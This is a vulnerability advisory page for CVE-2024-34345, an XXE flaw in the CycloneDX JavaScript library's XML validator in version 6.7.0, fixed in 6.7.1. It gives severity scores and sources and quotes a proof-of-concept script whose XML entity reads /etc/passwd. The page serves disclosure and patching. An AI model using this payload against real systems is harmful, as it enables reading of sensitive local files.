CVE-2024-34345
JSON

8.1high

@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability

Severity
8.1high CVSS:3.1 by GitHub_M
Exploit likelihood
0.92% (higher than 61% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-38gf-rh2w-gmj7

Description

The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.

Affected

Product or packageVersionsReported by
CycloneDX cyclonedx-javascript-library= 6.7.0CVE List
@cyclonedx/cyclonedx-library (npm)from 6.7.0 before 6.7.1GitHub Advisory Database

All scores

GitHub_M8.1high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub8.1high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-611

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

The CycloneDX JavaScript library contains the core functionality of OWASP CycloneDX for JavaScript. In 6.7.0, XML External entity injections were possible, when running the provided XML Validator on arbitrary input. This issue was fixed in version 6.7.1.

GitHub Advisory Database
Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC
const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});
Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1 .

Workarounds

Do not run the provided XML validator on untrusted inputs.

References
NVD (es)

La librería JavaScript CycloneDX contiene la funcionalidad principal de OWASP CycloneDX para JavaScript. En 6.7.0, las inyecciones de entidades externas XML eran posibles al ejecutar el validador XML proporcionado en entradas arbitrarias. Este problema se solucionó en la versión 6.7.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-34345 changed 2024-08-02CVE Terms of Use
GitHub Advisory DatabaseGHSA-38gf-rh2w-gmj7 changed 2026-09-10CC-BY-4.0
NVDCVE-2024-34345 changed 2026-06-17Public domain